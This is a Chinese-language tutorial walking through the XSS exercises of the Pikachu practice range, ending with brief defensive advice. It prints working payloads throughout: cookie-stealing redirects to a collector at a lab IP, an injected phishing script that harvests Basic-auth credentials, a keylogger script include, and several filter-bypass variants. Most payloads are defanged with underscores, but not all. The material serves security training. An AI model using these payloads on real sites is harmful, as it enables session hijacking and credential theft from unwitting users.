原理:
程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
分类 :
危害:存储型 > 反射型 > DOM型
-
反射型XSS:<非持久化>
交互的数据一般不会被存在数据库里面,一次性 ,所见即所得,一般出现在查询页面等 -
存储型XSS:<持久化>
交互的数据会被存在数据库里面,永久性存储 ,一般出现在留言板,注册等页面 -
DOM型XSS:<基于文档对象模型DOM的漏洞>
不与后台服务器产生数据交互,是一种通过DOM操作前端代码 输出的时候产生的问题,一次性 ,也属于反射型
常见用途:
-
Cookie劫持
-
构造GET与POST请求
-
XSS钓鱼
-
获取用户的真实IP地址
测试流程:
-
在目标上找输入点,比如查询接口、留言板
-
输入一组 “特殊字符(>,',"等)+唯一识别字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理
-
通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)
-
提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞
一、反射型XSS(get)
当输入内容时, 发现内容被执行写入当网页
<>6666
直接进行注入
#测试时,将标签中_删除
<scr_ipt>alert(document.cookie)</scr_ipt>
<scr_ipt>alert("1")</scr_ipt>
发现,对输入的字符串的有长度限制
方法一
修改前端代码
修改为100后, 可以输入完整的长度,成功弹窗
方法二
抓包修改
二、反射性XSS(post)
利用xss盗取用户的cookie,模拟了一个用户登录的过程
登录成功后, 就和Get型一样的界面了
但是和xss(get)不同,在xss(get)可以直接在url上构造payload
#测试时,将标签中_删除
http://192.168.132.132/pikachu/vul/xss/xss_reflected_get.php?message=<scr_ipt>document.location='http://192.168.132.132/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>&submit=submit
来诱使用户点击, 盗取用户的cookie
url中cookie为被攻击者的cookie
通过使用短链接进行伪装,使被攻击者不会意识到这是攻击url
因为在POST方式中, 就算将构造好(含攻击代码)的URL给用户点击了, 也不会直接触发拿到cookie, 反而会直接弹出用户登录提示。
这时候我们就得用一个服务器(攻击者的), 伪造POST请求去登录, 并且盗取用户登录成功后的cookie
xss后台搭建
pkxss目录下inc/config.inc.php文件需要进行配置,配置完成后,初始化数据库
存在cookie搜集、钓鱼结果、键盘结果3个模块
cookie搜集模块中,存放被攻击者cookie的数据
先修改xss后台下的pkxss/xcookie/cookie.php文件,将IP地址改为漏洞服务器的地址,使被攻击者不知道自己被攻击了
该后台为本地搭建,所以地址为本地
模拟用户点击该网址
#测试时,将标签中_删除
<scr_ipt>document.location='http://192.168.132.132/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie</scr_ipt>
192.168.132.132是攻击者也是被攻击者,收集被攻击者cookie的服务器地址(也是本地), (需要进行URL编码才能访问)
访问之后, 自动重定向首页, (是为了不让用户察觉被攻击的事实), 如果重定向其他地址, 用户就会知道被攻击了
查看cookie收集模块,存放被攻击者的cookie
三、存储型XSS
如果论坛留言板模块,存在存储型XSS漏洞,会将payload存储到网站数据库,每一个用户浏览留言板的时候都会被攻击,这种攻击时持久化攻击
输入payload,进行尝试测试
漏洞利用
- 注入跳转网页
#测试时,将标签中_删除
<scr_ipt>document.location='https://www.cnblogs.com/confidant'</scr_ipt>
注:每次进入留言版,都会跳转,需要进入数据库中,删除该条数据
- 网站钓鱼
pikachu靶场中存在一个pkxss目录下/xfish目录,其中存放关于钓鱼脚本
钓鱼脚本使用的是 Basic认证 ** ,**
我们在这个页面上嵌入一个恶意请求,当用户打开这个页面时, 就会向攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部: 会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码。(比较明显的攻击方式)
配置脚本pkxss/xfish/fish.php,将往重定向网址修改管理后台
然后将攻击恶意代码嵌入留言板中: (弄一个弹窗来判断是否成功注入, 现实中弹窗就太嚣张了...)
#测试时,将标签中_删除
<script src="http://192.168.132.132/pikachu/pkxss/xfish/fish.php"></script>
当被攻击者输入自己的密码就会被钓鱼, 钓鱼信息存储在攻击者服务器上,地址为
http://192.168.132.132/pikachu-master/pkxss/xfish/pkxss_fish_result.php
可以看到刚刚被钓鱼的用户信息, (并且信息存储在数据库中)
- 获取键盘记录
攻击js脚本位于网站目录下的 pkxss/rkeypress/rk.js
同样需要将网址修改为攻击者的地址(也就是本机地址)
上面脚本获取了用户的键盘记录后, 再重定向到 rkserver.php
AJAX的请求默认情况下是不能跨域的,这个请求默认情况下是会失败的
去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php删除注释
攻击者往留言板注入恶意代码
#测试时,将标签中_删除
<scr_ipt src='http://192.168.132.132/pikachu/pkxss/rkeypress/rk.js'></scr_ipt>
然后在页面上随意输入键盘, 会调用rkserver.php记录键盘活
访问xss键盘记录后台
http://192.168.10.100/pikachu/pkxss/rkeypress/pkxss_keypress_result.php
四、DOM型XSS
DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树
测试'"<>?&6666
输入图中的内容,观察到如下输出,发现和输入的内容有区别
观察页面源码
这里有段JS代码,它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中
漏洞利用
方法一
利用JavaScript协议
javascript:alert("You are attacked !!")
方法二
绕过闭合
我们通过闭合的方式构造Payload
' onclick="alert('xss')">
造成DOM型XSS的原因是前端的输入被DOM给获取到了,通过DOM又在前端输出,跟反射型和存储型比起来,它是不经过后台交互的
五、DOM型XSS
进行测试
'2"$&#<>/\
查看源代码,这里也有个JS代码,它定义了一个domxss函数它利用 window.location.search 获取浏览器中URL的内容
然后赋值给 str然后经过URL解码和字符串分隔,取出URL中的参数内容再把 “+” 替换为 “ ”(空格),赋值给 xss
最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中
' onclick="alert('xss')">
六、XSS盲打
XSS盲打不是攻击类型,而是一个攻击场景
当我们输入内容并提交的时候,
我们输入数据,提交后我们输入的内容不会在前对输出,而是提交到了后台,可能管理员会去看,如果我们输入一个JS代码,管理员登录后台管理界面,如果后台把我们的内容输出,那后台管理员可能遭受到我们的XSS攻击,我们提交以下内容
发现内容无法在网页前端显示出来, 也就是没有写入到前端页面, 而是提交到了后台
倘若注入xss, 则无法得知是否xss被执行, 但是管理员回去看, 假如我们注入了xss代码, 同时管理员又访问了后台, 且后台把我们的内容输出, 那么后台管理员可能遭受到我们的XSS攻击
并登录后台管理界面(账号密码为admin,123456)
http://192.168.132.132/pikachu/vul/xss/xssblind/admin_login.php
一登录进来就遭受了XSS攻击
七、XSS之过滤
在实际的网站中,或多或少都会做一些安全措施,但是这些安全措施也存在方法、逻辑不严谨,可以被绕过
转换的思路
-
前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
-
大小写,后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。
#测试时,将标签中_删除
<SCR_IPT>aLeRT(111)</sCRIpt>
- 双写(拼凑),后台可能把script标签去掉换,但可能只去掉一次。
#测试时,将标签中_删除
<scri<scr_ipt>pt>alert(111)</scri</scr_ipt>pt>
- 注释干扰,加上注释后可能可以绕过后台过滤机制。
<scri<!--test-->pt>alert(111)</sc<!--test-->ript>
编码的思路
核心思路:
-
后台过滤了特殊字符,比如script标签,但该标签可以被各种编码,后台不一定过滤
-
当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行
#测试时,将标签中_删除
<im_g src=x onerror=alert('xss')>
将alert('xss')进行HTML编码
<im_g src=x onerror=alert('xss')>
测试时,将标签中_删除
<scr_ipt>;";6666
可以看到我们输入的<script标签被去掉了
漏洞利用
#测试时,将标签中_删除
<ScR_iPt>alert(1)</ScR_ipt> // 大小写混合绕过
八、XSS之htmlspecialchars
htmlspecialchars() 函数
PHP里面把预定义的字符转换为HTML实体的函数
预定义的字符是
-
& 成为 &
-
" 成为 "
-
' 成为 '
-
< 成为 <
-
成为 >
可用引号类型
-
ENT_COMPAT:默认,仅编码双引号
-
ENT_QUOTES:编码双引号和单引号
-
ENT_NOQUOTES:不编码任何引号
输入"<>?#'&6666,进行测试
可以看到 ",>和<都经过了编码,剩下的字符没有,单引号依然可以使用
我们可以构造下面的Payload,我们在Payload前后都添加一个单引号用于闭合 href 中的单引号
' onclick=alert(1111) '
九、XSS之href输出
查看源代码
这个页面会接收我们的输入的message,然后判断我们输入的网址,如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理
这个函数转义单引号、双引号和左右尖括号
然后输出到 a 标签的 href 属性中,在 a 标签的href属性中,可以用javascript协议来执行JS
构造Payload如下,没有上面被转义的字符
javascript:alert(111)
十、XSS之js输出
输入数据,查看源代码
它会把我们的输入放到JS中,然后对这个变量进行判断,然后再输出
我们可以构造一个闭合,先闭合script标签,然后再插入自己的JS代码
#测试时,将标签中_删除
'</scr_ipt><scr_ipt>alert('xss')</scr_ipt>
这个漏洞的输出点是在JS中,通过用户的输入动态生成了JS代码
JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话
在JS中不会把它解释会去,这样解决了XSS问题,但不能构成合法的JS
所以在JS的输出点应该对应该使用 \对特殊字符进行转义
防御措施
-
对输入(和URL参数)进行过滤,对输出进行编码
-
输入的时候只允许 http 或 https 开头的协议,才允许输出,其次再进行htmlspecialchars(html编码)处理
-
过滤或移除js 事件的标签和特殊的 html 标签
-
设setcookie=true,使cookie不能被js获取
参考文章